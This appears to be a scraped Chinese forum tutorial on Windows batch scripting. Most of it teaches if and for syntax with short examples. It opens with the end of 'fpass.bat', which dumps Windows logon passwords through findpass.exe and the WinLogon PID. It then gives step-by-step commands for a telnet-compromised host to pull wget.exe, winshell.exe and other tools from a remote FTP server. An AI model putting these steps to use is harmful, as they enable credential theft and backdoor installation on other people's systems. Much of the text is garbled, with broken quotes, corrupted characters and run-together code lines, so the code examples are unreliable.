@goto END :USAGE
@pulist.exe >%temp%\\_pass.txt
@findstr.exe /i \explorer internat\%temp%\\_pass.txt @echo \fpass.bat %1 %2 %3 %4 !!!\
@echo \findpass.exe DomainName UserName PID-of-WinLogon\ :END
@echo \fpass.bat %COMPUTERNAME% %USERNAME% administrator \
@echo \fpass.bat end [%errorlevel%] !\
_________________fpass.bat___END___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w
echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w
___________________________________________________________ BAT语句结构
类似于C语言，批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。 【 if语句(选择结构) 】
if语句实现条件判断，包括字符串比较、存在判断、定义判断等。通过条件判断，if语句即可以实现选择功能。 1、字符串比较
if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为： IF [not] string1 compare-op string2 command1 [else command2] 其中，比较操作符compare-op有以下几类： == - 等于
EQU - 等于 NEQ - 不等于 LSS - 小于 LEQ - 小于或等于 GTR - 大于 GEQ - 大于或等于
选择开关/i则不区分字符串大小写；选择not项，则对判断结果进行逻辑非。 字符串比较示例：
=============================================== @echo off set str1=abcd1233 set str2=ABCD1234
if %str1%==%str2% (echo 字符串相同！) else (echo 字符串不相同！) if /i %str1% LSS %str2% (echo str1^
set /p choice=是否显示当前时间？(y/n)
if /i not %choice% EQU n echo 当前时间是：úte% %time% pause>nul
===============================================
对于最后一个if判断，当我们输入n或N时的效果是一样的，都不会显示时间。如果我们取消开关/i，则输入N时，依旧会显示时间。
另外请注意一下几个细节：1-echo str1^
存在判断的功能是判断文件或文件夹是否存在。其命令格式为： IF [NOT] EXIST filename command1 [else command2] =============================================== @echo off
if exist %0 echo 文件%0是存在的！ if not exist %~df0 ( echo 文件夹%~df0不存在！ ) else echo 文件夹%~df0存在！ pause>nul
=============================================== 这里注意几个地方：
1-存在判断既可以判断文件也可以判断文件夹；
2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型)； 3-%~df0是对%0的修正，只保留了其驱动器盘符和路径，详情请参考for /?，属高级批处理范畴；
4-注意if语句的多行书写，多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行，即command可以是命令集。 3、定义判断
定义判断的功能是判断变量是否存在，即是否已被定义。其命令格式为： IF [not] DEFINED variable command1 [else command2] 存在判断举例：
=============================================== @echo off set var=111
if defined var (echo var=%var%) else echo var尚未定义！ set var=
if defined var (echo var=%var%) else echo var尚未定义！ pause>nul
=============================================== 对比可知，\var=\可以取消变量，收回变量所占据的内存空间。 【 for语句(循环结构) 】
for语句可以实现类似于C语言里面的循环结构，当然for语句的功能要更强大一点，通过不同的开关可以实现更多的功能。for语句有多个开关，不同开关将会实现不同的功能。 1、无开关
无开关的for语句能够对设定的范围内进行循环，是最基本的for循环语句。其命令格式为：
FOR %%variable IN (set) DO command
其中，%%variable是批处理程序里面的书写格式，在DOS中书写为%variable，即只有一个百分号(%)；set就是需要我们设定的循环范围，类似于C语言里面的循环变量；do后面的command就是循环所执行的命令，即循环体。 无开关for语句举例：
=============================================== @echo off
for %%i in (a,\c\do echo %%i pause>nul
=============================================== 2、开关/L
含开关/L的for语句，可以根据set里面的设置进行循环，从而实现对循环次数的直接控制。其命令格式为：
FOR /L %%variable IN (start,step,end) DO command
其中，start为开始计数的初始值，step为每次递增的值，end为结束值。当end小于start时，step需要设置为负数。
含开关/L的for语句举例(创建5个文件夹)：
=============================================== @echo off
for /l %%i in (1,2,10) do md %%i pause
===============================================
上例将新建5个文件夹，文件夹名称依次为1、3、5、7、9。可以发现，%%i的结束值并非end的值10，而是不大于end的一个数。 3、开关/F
含开关/F的for语句具有最强大的功能，它能够对字符串进行操作，也能够对命令的返回值进行操作，还可以访问硬盘上的ASCII码文件，比如txt文档等。其命令格式为：
FOR /F [\%%variable IN (set) DO command
其中，set为(\、'command'、file-set)中的一个；options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下，使用较多的是skip、tokens、delims三个选项。 含开关/F的for语句举例：
=============================================== @echo off
echo **No Options:
for /f %%a in (\do echo a=%%a echo **Options tokens ^& delims:
for /f \delims=,\%%a in (\do echo a=%%a b=%%b c=%%c pause
=============================================== @echo off
echo 本文件夹里面的文件有：
for /f \tokens=3* delims= \%%a in ('dir') do (
if not \if not \字节\if not \可用字节\echo %%b ) pause
=============================================== @echo off
echo 本文件夹里面的文件有：
dir>c:\\file.txt
for /f \tokens=3* delims= \%%a in (c:\\file.txt) do (
if not \if not \字节\if not \可用字节\echo %%b )
del c:\\file.txt pause
===============================================
对于后面的两个例子，其中options里面的delims= 是可以删除的，因为只要添加了/F开关系统就将delims的值默认为空格。 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之后
分配并接受行的保留文本。本例中也可以改为4，不过文件名中有空格的文件，只能显示空格以前部分
同时我们也看到了，for语句的do后面的command也是可以分行的，只需要保证command的左括号和do在同一行就可以了。 4、开关/D或/R
含开关/D或/R的for语句是与目录或文件有关的命令，一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹，故而列举此例。
含开关/R的for语句举例(文件夹遍历)：
=============================================== @echo off
setlocal enabledelayedexpansion FOR /R d: %%i IN (.) DO ( set dd=%%i set \ echo !dd! ) pause exit
===============================================
上例即可以罗列出D盘下的所有文件夹，其速度要比命令\d:\慢多了，不过其返回结果的实用性则远远超过了tree命令。
一般情况下我们不推荐通过遍历文件夹来查找文件，特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径，以保证查找效率。
上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，Y%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令\enabledelayedexpansion\来开启延迟变量开关，然后用!dd!来获取dd的值。
for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！